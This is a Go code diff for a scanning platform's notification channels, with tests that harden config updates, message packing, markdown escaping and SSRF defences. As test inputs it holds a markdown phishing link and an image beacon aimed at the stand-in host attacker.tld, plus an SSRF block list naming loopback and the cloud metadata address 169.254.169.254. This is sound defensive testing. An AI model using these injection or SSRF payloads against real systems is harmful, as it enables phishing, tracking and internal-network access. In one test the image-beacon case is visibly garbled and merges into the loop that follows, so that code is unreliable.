name: "只改请求方法,地址与凭据都不动",
|
||||
kind: KindWebhook,
|
||||
stored: map[string]any{"url": "https://legit.example.com/hook", "method": "POST"},
|
||||
incoming: map[string]any{"method": "PUT"},
|
||||
},
|
||||
{
|
||||
name: "换地址并**同时**给新凭据",
|
||||
kind: KindWebhook,
|
||||
stored: map[string]any{"url": "https://old.example.com/hook", "headers": map[string]any{"Authorization": "Bearer OLD"}},
|
||||
incoming: map[string]any{"url": "https://new.example.com/hook", "headers": map[string]any{"Authorization": "Bearer NEW"}},
|
||||
},
|
||||
{
|
||||
name: "换地址并显式声明不再需要凭据",
|
||||
kind: KindWebhook,
|
||||
stored: map[string]any{"url": "https://old.example.com/hook", "headers": map[string]any{"Authorization": "Bearer OLD"}},
|
||||
incoming: map[string]any{"url": "https://new.example.com/hook", "headers": ""},
|
||||
},
|
||||
{
|
||||
name: "Telegram 改 chat_id(不是目的地)",
|
||||
kind: KindTelegram,
|
||||
stored: map[string]any{"bot_token": "t", "chat_id": "1", "base_url": "https://api.telegram.org"},
|
||||
incoming: map[string]any{"chat_id": "-100200"},
|
||||
},
|
||||
{
|
||||
name: "邮件改收件人(不是目的地)",
|
||||
kind: KindEmail,
|
||||
stored: map[string]any{"host": "smtp.corp.com", "port": 587, "password": "PW", "from": "[email protected]", "to": []any{"[email protected]"}},
|
||||
incoming: map[string]any{"to": []any{"[email protected]"}},
|
||||
},
|
||||
}
|
||||
for _, tc := range cases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
merged, err := PrepareConfigUpdate(tc.kind, tc.stored, tc.incoming)
|
||||
if err != nil {
|
||||
t.Fatalf("合法编辑被误拦: %v", err)
|
||||
}
|
||||
if merged == nil {
|
||||
t.Fatal("应返回合并结果")
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrepareConfigUpdatePortTypeTolerance 覆盖一个容易误判的细节:
|
||||
// 前端提交的端口是 JSON number(float64),库里读回来也是 float64,
|
||||
// 但两个值的类型可能不同(如 int vs float64)。用 == 比较会把「没改」判成「改了」,
|
||||
// 从而对只改了名字的用户弹出「请重新填写密码」——假警报会让人不再信任这个防护。
|
||||
func TestPrepareConfigUpdatePortTypeTolerance(t *testing.T) {
|
||||
stored := map[string]any{"host": "smtp.corp.com", "port": float64(587), "password": "PW"}
|
||||
// 同一个端口,以 int 形式提交。
|
||||
if _, err := PrepareConfigUpdate(KindEmail, stored, map[string]any{"port": 587}); err != nil {
|
||||
t.Fatalf("端口值相同(仅类型不同)不应被判为地址变更: %v", err)
|
||||
}
|
||||
// 真的换了端口则必须拦。
|
||||
if _, err := PrepareConfigUpdate(KindEmail, stored, map[string]any{"port": 25}); err == nil {
|
||||
t.Fatal("端口变更应被拦下")
|
||||
}
|
||||
}
|
||||
|
||||
func TestDestinationKeysDeclaredForEveryKind(t *testing.T) {
|
||||
// 与 SecretKeys 同理:渠道若忘记声明目的地键,PrepareConfigUpdate 就保护不到它。
|
||||
for kind, ch := range registry {
|
||||
if len(ch.DestinationKeys()) == 0 {
|
||||
t.Errorf("渠道 %s 未声明目的地键,改地址带出凭据的防护对它无效", kind)
|
||||
}
|
||||
if len(ch.SecretKeys()) == 0 {
|
||||
t.Errorf("渠道 %s 未声明凭据键", kind)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestSecretKeysDeclaredForEveryKind(t *testing.T) {
|
||||
// 编译器已经强制每个渠道实现 SecretKeys,这里再确认一遍「没有渠道在掩码上
|
||||
// 交白卷」——返回空切片的渠道意味着它的凭据会明文回显到浏览器。
|
||||
@@ -130,3 +306,26 @@ func TestSecretKeysDeclaredForEveryKind(t *testing.T) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestPrepareConfigUpdateRejectsMaskedInContainer 覆盖审计指出的一处口子:
|
||||
// 把掩码哨兵塞进**非字符串**结构(如 webhook.headers 是个对象)时,
|
||||
// MergeConfig 只认「字符串且带前缀」为掩码,于是字面量 "__masked__" 会被当成
|
||||
// 真实头值存进库——后续鉴权静默失效,且没有任何报错。
|
||||
func TestPrepareConfigUpdateRejectsMaskedInContainer(t *testing.T) {
|
||||
stored := map[string]any{
|
||||
"url": "https://legit.example.com/hook",
|
||||
"headers": map[string]any{"Authorization": "Bearer REAL"},
|
||||
}
|
||||
// 对象内部夹带掩码哨兵。
|
||||
incoming := map[string]any{
|
||||
"headers": map[string]any{"Authorization": MaskedPrefix},
|
||||
}
|
||||
if _, err := PrepareConfigUpdate(KindWebhook, stored, incoming); err == nil {
|
||||
t.Fatal("结构体内部夹带掩码哨兵应被拒绝(否则会把字面量存进库)")
|
||||
}
|
||||
// 整体提交对象(真实新值)照常接受。
|
||||
ok := map[string]any{"headers": map[string]any{"Authorization": "Bearer NEW"}}
|
||||
if _, err := PrepareConfigUpdate(KindWebhook, stored, ok); err != nil {
|
||||
t.Fatalf("正常提交新请求头不应被拦: %v", err)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,208 @@
|
||||
package notify
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
"unicode/utf8"
|
||||
)
|
||||
|
||||
// 本文件覆盖「按整条打包」这个修复:汇总消息超出渠道长度上限时,必须**按整条**
|
||||
// 截断并把没装下的条目数如实报出来,让调用方只标记真正送达的那些。
|
||||
//
|
||||
// 之前的做法是渲染完整篇再截断、然后整批标记已送达:消息后半截凭空消失,
|
||||
// 而投递历史显示全部成功——漏洞就这么没了,且没有任何地方能发现。
|
||||
|
||||
func TestMarkdownBodyPacksWholeItemsWithinByteLimit(t *testing.T) {
|
||||
// 200 条中文汇总,必然远超企微 4096 字节。
|
||||
m := batchMsg(200)
|
||||
body, kept := markdownBody(m, weComMarkdownLimit)
|
||||
|
||||
if len(body) > weComMarkdownLimit {
|
||||
t.Fatalf("正文 %d 字节超上限 %d", len(body), weComMarkdownLimit)
|
||||
}
|
||||
if !utf8.ValidString(body) {
|
||||
t.Fatal("正文不是合法 UTF-8")
|
||||
}
|
||||
if kept <= 0 || kept >= len(m.Items) {
|
||||
t.Fatalf("应只装下一部分(0 < kept < %d),得到 %d", len(m.Items), kept)
|
||||
}
|
||||
// 头部必须如实说明本条只包含多少条、其余有多少条——否则读者会把头部
|
||||
// 那个数字当成全部。
|
||||
if !strings.Contains(body, "其余") || !strings.Contains(body, "下一条消息继续") {
|
||||
t.Fatalf("头部应说明还有多少条未包含在本条里:\n%s", body[:minInt(400, len(body))])
|
||||
}
|
||||
// 只应包含前 kept 条。
|
||||
for i := 0; i < kept; i++ {
|
||||
if !strings.Contains(body, "漏洞"+itoa(i+1)) {
|
||||
t.Fatalf("第 %d 条应在本条消息里:\n%s", i+1, body)
|
||||
}
|
||||
}
|
||||
if strings.Contains(body, "漏洞"+itoa(kept+1)) {
|
||||
t.Fatalf("第 %d 条不该出现(它属于下一批)", kept+1)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMarkdownBodyKeepsEverythingWhenUnderLimit(t *testing.T) {
|
||||
m := batchMsg(3)
|
||||
body, kept := markdownBody(m, 0) // 0 = 不限制
|
||||
if kept != len(m.Items) {
|
||||
t.Fatalf("不限制长度时应全部保留,得到 kept=%d", kept)
|
||||
}
|
||||
if strings.Contains(body, "其余") {
|
||||
t.Fatalf("没有截断时不该出现截断提示:\n%s", body)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMarkdownBodyAlwaysKeepsAtLeastOneItem(t *testing.T) {
|
||||
// 预算小到连一条都装不下时,仍要发出一条(由最终截断兜底)。
|
||||
// 否则一条超长漏洞会把整批永久卡在原地:每次领取都装不下、每次都不发。
|
||||
m := batchMsg(5)
|
||||
_, kept := markdownBody(m, 50)
|
||||
if kept != 1 {
|
||||
t.Fatalf("至少应保留 1 条,得到 %d", kept)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMarkdownBodySingleReturnsOne(t *testing.T) {
|
||||
_, kept := markdownBody(singleMsg(), 4096)
|
||||
if kept != 1 {
|
||||
t.Fatalf("单条消息应报送达 1 条,得到 %d", kept)
|
||||
}
|
||||
// 空消息没有可送达的条目。
|
||||
if _, k := markdownBody(Message{}, 4096); k != 0 {
|
||||
t.Fatalf("空消息应报 0 条,得到 %d", k)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTelegramPackingUsesRuneBudget(t *testing.T) {
|
||||
m := batchMsg(200)
|
||||
text, kept := telegramHTML(m)
|
||||
// Telegram 按**字符数**限长;用字节口径会把中文消息压到三分之一。
|
||||
if n := utf8.RuneCountInString(text); n > telegramTextLimit {
|
||||
t.Fatalf("正文 %d 字符超上限 %d", n, telegramTextLimit)
|
||||
}
|
||||
if kept <= 0 || kept >= len(m.Items) {
|
||||
t.Fatalf("应只装下一部分,得到 %d", kept)
|
||||
}
|
||||
if !strings.Contains(text, "下一条继续") {
|
||||
t.Fatalf("应说明还有余量未包含:\n%.300s", text)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFeishuPackingReportsKept(t *testing.T) {
|
||||
m := batchMsg(2000)
|
||||
_, kept := feishuCard(m)
|
||||
if kept <= 0 || kept >= len(m.Items) {
|
||||
t.Fatalf("卡片应只装下一部分,得到 %d", kept)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWebhookAndEmailReportAllItems(t *testing.T) {
|
||||
// 这两个渠道不截断正文,整批都算送达。
|
||||
m := batchMsg(7)
|
||||
if n := len(m.Items); n != 7 {
|
||||
t.Fatal("前置条件不成立")
|
||||
}
|
||||
// 通过渲染器的返回值间接确认:markdownBody(0) 不限制时全部保留。
|
||||
if _, k := markdownBody(m, 0); k != len(m.Items) {
|
||||
t.Fatalf("不限制长度时应用全部,得到 %d", k)
|
||||
}
|
||||
}
|
||||
|
||||
// TestMarkdownEscapesUntrustedContent 是「不可信内容不得改变消息结构」的回归测试。
|
||||
// 标题与摘要来自模型输出(模型读的是被测目标响应),资产名来自被测目标的 URL。
|
||||
func TestMarkdownEscapesUntrustedContent(t *testing.T) {
|
||||
cases := []struct {
|
||||
name string
|
||||
item Item
|
||||
must []string // 结果里必须出现(转义形态)
|
||||
wrong []string // 结果里不得出现(未转义形态)
|
||||
}{
|
||||
{
|
||||
name: "标题里的换行 + 外链",
|
||||
item: Item{
|
||||
Severity: "high",
|
||||
Name: "登录口 SQL 注入\n[紧急:点此验证账号](http://attacker.tld)",
|
||||
},
|
||||
// 换行必须被折叠(否则能伪造出新的列表项/引用块);
|
||||
// 方括号与圆括号必须被转义(否则是可点击的外链)。
|
||||
must: []string{`\[紧急:点此验证账号\]`, `\(http://attacker.tld\)`},
|
||||
wrong: []string{"\n[紧急", "\n\n[紧急"},
|
||||
},
|
||||
{
|
||||
name: "标题里的图片信标",
|
||||
item: Item{
|
||||
Severity: "high",
|
||||
Name: "漏洞 ",
|
||||
},
|
||||
must: []string{`\!`, `\(http://attacker.tld/beacon\)`},
|
||||
wrong: []string{" {
|
||||
m := Message{Items: []Item{tc.item}}
|
||||
// 单条模式的写Item 是三个 markdown 渠道共用的渲染路径。
|
||||
var b strings.Builder
|
||||
writeItem(&b, tc.item, "", true)
|
||||
got := b.String()
|
||||
for _, want := range tc.must {
|
||||
if !strings.Contains(got, want) {
|
||||
t.Errorf("缺少转义形态 %q:\n%s", want, got)
|
||||
}
|
||||
}
|
||||
for _, bad := range tc.wrong {
|
||||
if strings.Contains(got, bad) {
|
||||
t.Errorf("出现了未转义形态 %q(可被用来注入结构或外链):\n%s", bad, got)
|
||||
}
|
||||
}
|
||||
_ = m
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestMarkdownEscapeBackslashFirst 锁住转义顺序:反斜杠必须最先处理,
|
||||
// 否则会给后面补上的反斜杠再套一层,输出里出现双反斜杠。
|
||||
func TestMarkdownEscapeBackslashFirst(t *testing.T) {
|
||||
if got := markdownEscape(`a\b*c`); got != `a\\b\*c` {
|
||||
t.Fatalf("转义顺序有误,得到 %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestTelegramTitleHasNoMarkdownEscapes 锁住一个具体的回归:
|
||||
// markdown 转义不能泄漏到 Telegram 的 HTML 输出里(曾经在共享的标题函数里
|
||||
// 加过转义,结果 Telegram 消息里出现 `\(1\)` 这种可见反斜杠)。
|
||||
func TestTelegramTitleHasNoMarkdownEscapes(t *testing.T) {
|
||||
m := Message{Items: []Item{{Severity: "high", Name: "alert(1) *重点*"}}}
|
||||
text, _ := telegramHTML(m)
|
||||
if strings.Contains(text, `\(`) || strings.Contains(text, `\*`) {
|
||||
t.Fatalf("Telegram 正文里出现了 markdown 的反斜杠转义:\n%s", text)
|
||||
}
|
||||
}
|
||||
|
||||
func minInt(a, b int) int {
|
||||
if a < b {
|
||||
return a
|
||||
}
|
||||
return b
|
||||
}
|
||||
@@ -75,7 +75,7 @@ func TestChannelErrorsNeverLeakCredentials(t *testing.T) {
|
||||
for _, tc := range credentialCases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
// 必然失败的对端:127.0.0.1:1 无人监听,走的是连接被拒这条路径。
|
||||
err := tc.ch.Send(context.Background(), tc.cfg, Message{
|
||||
_, err := tc.ch.Send(context.Background(), tc.cfg, Message{
|
||||
Items: []Item{{FindingID: 1, Severity: "high", Name: "泄露探针"}},
|
||||
})
|
||||
if err == nil {
|
||||
@@ -103,7 +103,7 @@ func TestChannelErrorsNeverLeakCredentialsInPermanentPath(t *testing.T) {
|
||||
}
|
||||
for _, tc := range cases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
err := tc.ch.Send(context.Background(), tc.cfg, Message{Items: []Item{{Severity: "high"}}})
|
||||
_, err := tc.ch.Send(context.Background(), tc.cfg, Message{Items: []Item{{Severity: "high"}}})
|
||||
if err == nil {
|
||||
t.Fatal("非法配置应报错")
|
||||
}
|
||||
@@ -203,7 +203,7 @@ func TestCrossHostRedirectRefused(t *testing.T) {
|
||||
}))
|
||||
defer redirector.Close()
|
||||
|
||||
err := (dingTalkChannel{}).Send(context.Background(),
|
||||
_, err := (dingTalkChannel{}).Send(context.Background(),
|
||||
map[string]any{"webhook": redirector.URL + "/robot/send?access_token=" + leakProbeToken},
|
||||
Message{Items: []Item{{Severity: "high"}}})
|
||||
if err == nil {
|
||||
@@ -228,7 +228,7 @@ func TestSameHostRedirectAllowed(t *testing.T) {
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
if err := (dingTalkChannel{}).Send(context.Background(),
|
||||
if _, err := (dingTalkChannel{}).Send(context.Background(),
|
||||
map[string]any{"webhook": srv.URL + "/robot/send"},
|
||||
Message{Items: []Item{{Severity: "high"}}}); err != nil {
|
||||
t.Fatalf("同主机重定向不应被拒绝: %v", err)
|
||||
|
||||
@@ -78,9 +78,52 @@ func TruncateHTML(s string, max int) string {
|
||||
if lt := strings.LastIndex(cut, "<"); lt >= 0 && !strings.Contains(cut[lt:], ">") {
|
||||
cut = cut[:lt]
|
||||
}
|
||||
// 尾部若是被切断的 HTML 实体(如 `&` 被切成 `&`),同样要退回去。
|
||||
// 实体残片在一个只认实体的解析器里可能让**整条消息**被拒收——一条超过
|
||||
// 长度上限的汇总消息本来就常见,不值得为此丢掉整条通知。
|
||||
if amp := strings.LastIndex(cut, "&"); amp >= 0 && !strings.Contains(cut[amp:], ";") {
|
||||
cut = cut[:amp]
|
||||
}
|
||||
return cut
|
||||
}
|
||||
|
||||
// packItemCount 计算在预算内能**完整**放下多少条,供汇总消息按整条打包。
|
||||
//
|
||||
// 为什么要按整条而不是渲染完整篇再截断:截断会让后半截条目凭空消失,
|
||||
// 而它们的投递记录仍会被标记为已送达——消息里看不出来、投递历史里也看不出来,
|
||||
// 漏洞就这么没了。按整条打包后,装不下的条目留在库里成为下一批,
|
||||
// 调用方拿到的 kept 就是本条消息真正送达的条数。
|
||||
//
|
||||
// 参数:maxSize<=0 表示不限制;reserve 是给消息头部/尾部预留的量;
|
||||
// size 负责计量(各平台口径不同:企微/钉钉按字节,Telegram 按字符数——
|
||||
// 用错口径不会报错,只会让中文消息被压到远小于上限);
|
||||
// render 把第 idx 条渲染成它的实际文本——长度因内容而异,不能靠估算。
|
||||
//
|
||||
// 至少返回 1(只要还有条目)。单条极端超长时也要发出这一条、由调用方的
|
||||
// 最终截断兜底,否则一条超长漏洞会把整批永久卡在原地。
|
||||
func packItemCount(items []Item, maxSize, reserve int, footer string, size func(string) int, render func(Item, int) string) int {
|
||||
if maxSize <= 0 {
|
||||
return len(items)
|
||||
}
|
||||
budget := maxSize - reserve - size(footer)
|
||||
if budget < 0 {
|
||||
budget = 0
|
||||
}
|
||||
used := 0
|
||||
for i, it := range items {
|
||||
used += size(render(it, i))
|
||||
if used > budget && i > 0 {
|
||||
return i
|
||||
}
|
||||
}
|
||||
return len(items)
|
||||
}
|
||||
|
||||
// byteSize / runeSize 是 packItemCount 的两种计量口径,命名出来避免调用处
|
||||
// 出现裸的 func(s string) int 闭包,否则很难一眼看出用的是哪种口径。
|
||||
func byteSize(s string) int { return len(s) }
|
||||
func runeSize(s string) int { return utf8.RuneCountInString(s) }
|
||||
|
||||
// assetLine 把资产列表渲染成一行展示文本,超过 limit 个时省略其余并标注总数。
|
||||
// 一个漏洞可能锚定几十个资产,全列出来会挤爆消息。
|
||||
func assetLine(assets []string, limit int) string {
|
||||
|
||||
@@ -129,3 +129,22 @@ func TestSeverityAndStatusLabels(t *testing.T) {
|
||||
t.Fatalf("未知状态应原样回显,得到 %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
// TestTruncateHTMLNeverCutsEntity 覆盖审计指出的一处遗漏:截断不只要避开
|
||||
// 半截标签,还要避开被切断的 HTML 实体。
|
||||
//
|
||||
// `&` 被切成 `&` 之后,一个只认实体的解析器可能拒收**整条**消息——
|
||||
// 而超长汇总消息本来就常见,代价太大。
|
||||
func TestTruncateHTMLNeverCutsEntity(t *testing.T) {
|
||||
s := "aaaa&bbbb<cccc"dddd"
|
||||
for max := 1; max <= utf8.RuneCountInString(s)+2; max++ {
|
||||
got := TruncateHTML(s, max)
|
||||
// 尾部不得出现「有 & 但没有对应 ;」的实体残片。
|
||||
if amp := strings.LastIndex(got, "&"); amp >= 0 && !strings.Contains(got[amp:], ";") {
|
||||
t.Fatalf("max=%d: 尾部留下实体残片 %q", max, got[amp:])
|
||||
}
|
||||
if strings.Contains(got, "&\x00") {
|
||||
t.Fatalf("max=%d: 出现畸形实体", max)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,149 @@
|
||||
package notify
|
||||
|
||||
import (
|
||||
"context"
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"net/url"
|
||||
"os"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// 本文件覆盖两条相关的加固:
|
||||
// ① 投递地址不得把服务端当跳板打内网 / 云元数据(SSRF)
|
||||
// ② 地址校验的错误信息不得带出地址里的凭据
|
||||
//
|
||||
// 关于测试环境:本包大量用例用 127.0.0.1 上的 httptest 假接收端,守卫默认会拦下
|
||||
// 它们。所以 TestMain 里统一打开 AllowLocalTargetsEnv,而下面每个 SSRF 用例都
|
||||
// 显式把它清掉,以断言**默认拒绝**的行为。
|
||||
|
||||
func TestMain(m *testing.M) {
|
||||
// 让常规用例能连本地的假接收端;SSRF 用例会自己临时清空。
|
||||
_ = os.Setenv(AllowLocalTargetsEnv, "1")
|
||||
os.Exit(m.Run())
|
||||
}
|
||||
|
||||
// TestDialGuardRejectsLoopbackByDefault 是 SSRF 防护的核心断言:
|
||||
// 默认配置下,投递到环回地址必须被**连接层**拒绝。
|
||||
func TestDialGuardRejectsLoopbackByDefault(t *testing.T) {
|
||||
var hit bool
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
|
||||
hit = true
|
||||
_, _ = io.WriteString(w, `{"errcode":0}`)
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
t.Setenv(AllowLocalTargetsEnv, "") // 关掉逃生口 = 默认行为
|
||||
_, err := (dingTalkChannel{}).Send(context.Background(),
|
||||
map[string]any{"webhook": srv.URL + "/robot/send"}, Message{Items: []Item{{Severity: "high"}}})
|
||||
if err == nil {
|
||||
t.Fatal("默认不应允许投递到环回地址")
|
||||
}
|
||||
if hit {
|
||||
t.Fatal("请求已经打到了本机服务——守卫没生效")
|
||||
}
|
||||
// 错误信息要能指导用户怎么放开(本机 SMTP 中继是合法配置)。
|
||||
if !strings.Contains(err.Error(), AllowLocalTargetsEnv) {
|
||||
t.Errorf("拒绝信息应说明如何显式放开: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestDialGuardAllowsLoopbackWhenOptedIn 反向用例:显式打开后必须能用,
|
||||
// 否则本机 postfix / 内网中继这类合法部署会被一刀切废掉。
|
||||
func TestDialGuardAllowsLoopbackWhenOptedIn(t *testing.T) {
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
|
||||
_, _ = io.WriteString(w, `{"errcode":0,"errmsg":"ok"}`)
|
||||
}))
|
||||
defer srv.Close()
|
||||
|
||||
t.Setenv(AllowLocalTargetsEnv, "1")
|
||||
if _, err := (dingTalkChannel{}).Send(context.Background(),
|
||||
map[string]any{"webhook": srv.URL + "/robot/send"}, Message{Items: []Item{{Severity: "high"}}}); err != nil {
|
||||
t.Fatalf("显式放开后应可投递: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestIsBlockedDialIP(t *testing.T) {
|
||||
blocked := []string{
|
||||
"127.0.0.1", "127.1.2.3", "::1",
|
||||
"169.254.169.254", // 云元数据端点——本函数存在的主要理由
|
||||
"169.254.1.1", "fe80::1",
|
||||
"0.0.0.0", "::",
|
||||
"224.0.0.1", "ff02::1",
|
||||
"::ffff:127.0.0.1", // IPv4-mapped 形式必须还原后再判,否则是绕过口
|
||||
"",
|
||||
}
|
||||
for _, s := range blocked {
|
||||
if !isBlockedDialIP(net.ParseIP(s)) {
|
||||
t.Errorf("%s 应被拒绝", s)
|
||||
}
|
||||
}
|
||||
// RFC1918 私网**刻意放行**:内网自建 Mattermost / SMTP 中继是常见合法用法。
|
||||
// 这条断言把这个取舍固定下来——若将来有人顺手加上私网判断,这里会失败,
|
||||
// 从而逼出一次有意识的决定(而不是静默废掉一批部署)。
|
||||
allowed := []string{"10.0.0.5", "172.16.3.4", "192.168.1.10", "8.8.8.8", "2606:4700::1111"}
|
||||
for _, s := range allowed {
|
||||
if isBlockedDialIP(net.ParseIP(s)) {
|
||||
t.Errorf("%s 应被放行(私网是常见的合法投递目标)", s)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestValidateHTTPURLRejectsLiteralPrivateTargets 覆盖配置阶段的前置提示:
|
||||
// 字面 IP 在保存时就该被拒,而不是等第一次投递失败。
|
||||
func TestValidateHTTPURLRejectsLiteralPrivateTargets(t *testing.T) {
|
||||
t.Setenv(AllowLocalTargetsEnv, "")
|
||||
for _, raw := range []string{
|
||||
"http://127.0.0.1:8080/hook",
|
||||
"http://169.254.169.254/latest/meta-data/",
|
||||
"http://[::1]:8080/hook",
|
||||
} {
|
||||
if err := validateHTTPURL(raw); err == nil {
|
||||
t.Errorf("%s 应在配置阶段被拒绝", raw)
|
||||
}
|
||||
}
|
||||
// 公网地址与私网地址照常通过(私网留给拨号阶段,那里不拦)。
|
||||
for _, raw := range []string{"https://oapi.dingtalk.com/robot/send", "http://10.0.0.9/hook"} {
|
||||
if err := validateHTTPURL(raw); err != nil {
|
||||
t.Errorf("%s 应通过校验: %v", raw, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// TestValidateHTTPURLErrorNeverLeaksCredentials 是审计指出我上一轮遗漏的分支。
|
||||
//
|
||||
// url.Parse **失败**时会返回 *url.Error,其 Error() 含完整原始地址。上一轮我只
|
||||
// 脱敏了 http.Client.Do 的返回错误,漏了这里;而当时补的「永久失败路径」用例
|
||||
// (file://、gopher://、ftp://)其实都能被 url.Parse 解析成功、走的是 scheme 分支,
|
||||
// 所以全绿也证明不了这条路径安全——是假保证。
|
||||
func TestValidateHTTPURLErrorNeverLeaksCredentials(t *testing.T) {
|
||||
cases := []string{
|
||||
"http://127.0.0.1/%zz?access_token=" + leakProbeToken, // 非法百分号转义
|
||||
"https://a.example.com:port/x?access_token=" + leakProbeToken, // 端口非数字
|
||||
"http://[::1?access_token=" + leakProbeToken, // 括号不配对
|
||||
}
|
||||
for _, raw := range cases {
|
||||
// 先确认这个输入**确实**让 url.Parse 失败。不做这一步的话,用例可能在
|
||||
// 毫无察觉的情况下走到别的分支(上一轮的假保证就是这么来的)。
|
||||
if _, err := url.Parse(raw); err == nil {
|
||||
t.Errorf("%q 本应解析失败,否则这条用例没有覆盖到目标分支", raw)
|
||||
continue
|
||||
}
|
||||
err := validateHTTPURL(raw)
|
||||
if err == nil {
|
||||
t.Errorf("%q 应校验失败", raw)
|
||||
continue
|
||||
}
|
||||
assertNoSecret(t, err.Error(), leakProbeToken)
|
||||
}
|
||||
// 确认渠道层的包装也没有把地址带出去。
|
||||
t.Setenv(AllowLocalTargetsEnv, "")
|
||||
err := (dingTalkChannel{}).Validate(map[string]any{"webhook": cases[0]})
|
||||
if err == nil {
|
||||
t.Fatal("非法地址应校验失败")
|
||||
}
|
||||
assertNoSecret(t, err.Error(), leakProbeToken)
|
||||
}
|
||||
+55
-24
@@ -29,6 +29,9 @@ func (telegramChannel) DefaultRatePerMin() int { return 20 }
|
||||
// Bot Token 是完整凭据;chat_id 只是收件人,不算秘密(拿到它没有 Token 也发不了消息)。
|
||||
func (telegramChannel) SecretKeys() []string { return []string{"bot_token"} }
|
||||
|
||||
// base_url 决定 Token 被发往哪个 API 端点(如自建反代),改它必须重新表态 Token。
|
||||
func (telegramChannel) DestinationKeys() []string { return []string{"base_url"} }
|
||||
|
||||
func (telegramChannel) Validate(cfg map[string]any) error {
|
||||
if cfgString(cfg, "bot_token") == "" {
|
||||
return errors.New("缺少 Bot Token")
|
||||
@@ -44,23 +47,24 @@ func (telegramChannel) Validate(cfg map[string]any) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c telegramChannel) Send(ctx context.Context, cfg map[string]any, m Message) error {
|
||||
func (c telegramChannel) Send(ctx context.Context, cfg map[string]any, m Message) (int, error) {
|
||||
if err := c.Validate(cfg); err != nil {
|
||||
return Permanent(err)
|
||||
return 0, Permanent(err)
|
||||
}
|
||||
endpoint, err := telegramEndpoint(cfg)
|
||||
if err != nil {
|
||||
return Permanent(err)
|
||||
return 0, Permanent(err)
|
||||
}
|
||||
text, kept := telegramHTML(m)
|
||||
payload := map[string]any{
|
||||
"chat_id": cfgString(cfg, "chat_id"),
|
||||
"text": telegramHTML(m),
|
||||
"text": text,
|
||||
"parse_mode": "HTML",
|
||||
"disable_web_page_preview": false,
|
||||
}
|
||||
raw, err := doJSON(ctx, "POST", endpoint, nil, payload)
|
||||
if err != nil {
|
||||
return err
|
||||
return 0, err
|
||||
}
|
||||
var res struct {
|
||||
OK bool `json:"ok"`
|
||||
@@ -68,17 +72,17 @@ func (c telegramChannel) Send(ctx context.Context, cfg map[string]any, m Message
|
||||
Description string `json:"description"`
|
||||
}
|
||||
if err := json.Unmarshal(raw, &res); err != nil {
|
||||
return fmt.Errorf("解析 Telegram 响应失败: %w (%s)", err, snippet(raw))
|
||||
return 0, fmt.Errorf("解析 Telegram 响应失败: %w (%s)", err, snippet(raw))
|
||||
}
|
||||
if res.OK {
|
||||
return nil
|
||||
return kept, nil
|
||||
}
|
||||
// 429 是限流,退避后重试有效;其余(400 参数错、401 token 错、403 被拉黑、
|
||||
// 404 chat 不存在)都是配置问题,重试不会自愈。
|
||||
if res.ErrorCode == 429 {
|
||||
return fmt.Errorf("Telegram 限流: %s", res.Description)
|
||||
return 0, fmt.Errorf("Telegram 限流: %s", res.Description)
|
||||
}
|
||||
return Permanent(fmt.Errorf("Telegram 返回错误 %d: %s", res.ErrorCode, res.Description))
|
||||
return 0, Permanent(fmt.Errorf("Telegram 返回错误 %d: %s", res.ErrorCode, res.Description))
|
||||
}
|
||||
|
||||
// telegramEndpoint 拼出 sendMessage 地址。base_url 留空时用官方 API,
|
||||
@@ -99,27 +103,30 @@ func telegramEndpoint(cfg map[string]any) (string, error) {
|
||||
return u.String(), nil
|
||||
}
|
||||
|
||||
// telegramHTML 渲染 HTML 正文。
|
||||
func telegramHTML(m Message) string {
|
||||
// telegramHTML 渲染 HTML 正文,返回正文与实际写入的条目数(见 Channel.Send)。
|
||||
func telegramHTML(m Message) (string, int) {
|
||||
var b strings.Builder
|
||||
b.WriteString("<b>" + telegramEscape(markdownTitle(m)) + "</b>\n")
|
||||
if m.Batch {
|
||||
for i, it := range m.Items {
|
||||
var line string
|
||||
if a := assetLine(it.Assets, maxAssetsShown); a != "" {
|
||||
line = fmt.Sprintf("%d. %s · %s — %s", i+1, SeverityLabel(it.Severity), it.Title(), a)
|
||||
} else {
|
||||
line = fmt.Sprintf("%d. %s · %s", i+1, SeverityLabel(it.Severity), it.Title())
|
||||
}
|
||||
b.WriteString("\n" + telegramEscape(line))
|
||||
}
|
||||
// Telegram 的上限是**字符数**,所以打包也按字符计量(runeSize)。
|
||||
footer := ""
|
||||
if m.HomeURL != "" {
|
||||
b.WriteString(fmt.Sprintf("\n\n<a href=\"%s\">在平台中查看全部</a>", telegramEscapeAttr(m.HomeURL)))
|
||||
footer = fmt.Sprintf("\n\n<a href=\"%s\">在平台中查看全部</a>", telegramEscapeAttr(m.HomeURL))
|
||||
}
|
||||
return TruncateHTML(b.String(), telegramTextLimit)
|
||||
kept := packItemCount(m.Items, telegramTextLimit, telegramReservedRunes, footer, runeSize, func(it Item, idx int) string {
|
||||
